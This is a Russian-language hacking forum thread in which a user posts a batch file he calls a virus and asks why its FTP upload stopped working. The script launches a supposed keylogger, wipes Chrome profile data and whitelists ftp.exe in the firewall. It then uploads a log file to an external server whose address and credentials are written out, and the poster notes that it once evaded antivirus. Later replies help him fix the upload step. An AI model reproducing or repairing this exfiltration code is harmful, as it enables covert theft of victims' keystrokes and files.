Почему не робит пересылка на фтп?

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by kardinalmax, 3 Oct 2015.

  1. kardinalmax

    kardinalmax Member

    Joined:
    7 Dec 2013
    Messages:
    21
    Likes Received:
    6
    Reputations:
    0
    вопрос по batch

    Зрасте, дамы и господа! Прошу у вас помощи, ибо сам чето так и не вдуплил. Пробовал раньше писать на бате пересыку файлов с компа на фтп, где то пол года назад, тогда все робило, причем робило беспалевно для антивирей. Сейчас [фантастика] не робит. Ну собсна ближе к делу -
    итак есть у нас один файл допустим zlobniyvirus.bat, вот его код
    [
    @echo off
    start "%APPDATA%\local.exe
    del /f /q "%USERPROFILE%\AppData\Local\Google\Chrome\User Data\Default\*.*" > nul
    @netsh firewall add allowedprogram "%windir%\system32\ftp.exe" ENABLE > nul
    @ftp.exe -i -s:%APPDATA%\log. > nul
    @Del "log." > nul
    @Del "%APPDATA%\log." > nul
    ]
    Думаю тут объяснения не требуется, батник тупо сначала запускает файл под названием local.exe (допустим кейлоггер), удаляет кэш с хрома, отрубает фаерволл, далее очень хитрожопо пересылает на фтп какой то файл (допустим логи с того же кейлоггера), а именно подгружает на ftp.exe файл %APPDATA%\log

    теперь обратимся к коду %APPDATA%\log, он таков -
    [
    @echo open 31.170.164.241
    @echo u1234567
    @echo parol272
    @echo lcd "public_html\1\"
    @echo mput "%APPDATA%\111.txt" /s
    @echo bye
    ]
    Тут содержаться простейшие команды для ftp.exe, зайти на сервер, перейти в папочку public_html\1\ ,подгрузить туда файл %APPDATA%\111.txt и попросчаться.

    Вроде бы нормальный адекватный код, работал нормально. Теперь же на уровне пересылки на фтп просто намертво зависает и все, хер знает че делать. Очень нужна помощь!
     
  2. makag

    makag Staatsanwalt

    Joined:
    27 Sep 2009
    Messages:
    478
    Likes Received:
    564
    Reputations:
    98
    попробую поиграть в телепата, а если ошибусь - поправьте.

    вы используете хостингер.

    так вот, на хостингере сейчас надо зайти в панель управления и создать фтп аккаунт.

    логин будет u12345678.ftplogin
     
  3. makag

    makag Staatsanwalt

    Joined:
    27 Sep 2009
    Messages:
    478
    Likes Received:
    564
    Reputations:
    98
    я немного по другому закинул, но получилось

    [​IMG]

    собственно по аналогии

     
  4. kardinalmax

    kardinalmax Member

    Joined:
    7 Dec 2013
    Messages:
    21
    Likes Received:
    6
    Reputations:
    0
    Ага, спасибо огромное. Я так понял это чисто на хостингер распространяется? С другими серваками все нормально?
     
  5. Gar|k

    Gar|k Moderator

    Joined:
    20 Mar 2009
    Messages:
    1,166
    Likes Received:
    266
    Reputations:
    82
    Если ты пишешь, что угодно, будь-то программу или скрипт, научись первым делом дебажить (проверять) свой код.
    В твоем случае проверка осуществляется, как уже заметил makag заходом на FTP ручками и проверкой своих команд из текстового файла. Сервер тебе ответит и ты увидишь, где у тебя ошибка.
    В других случаях на время отключай echo off и смотри вывод.
     
    _________________________
    makag and Fepsis like this.
  6. Sler

    Sler New Member

    Joined:
    21 May 2015
    Messages:
    4
    Likes Received:
    1
    Reputations:
    0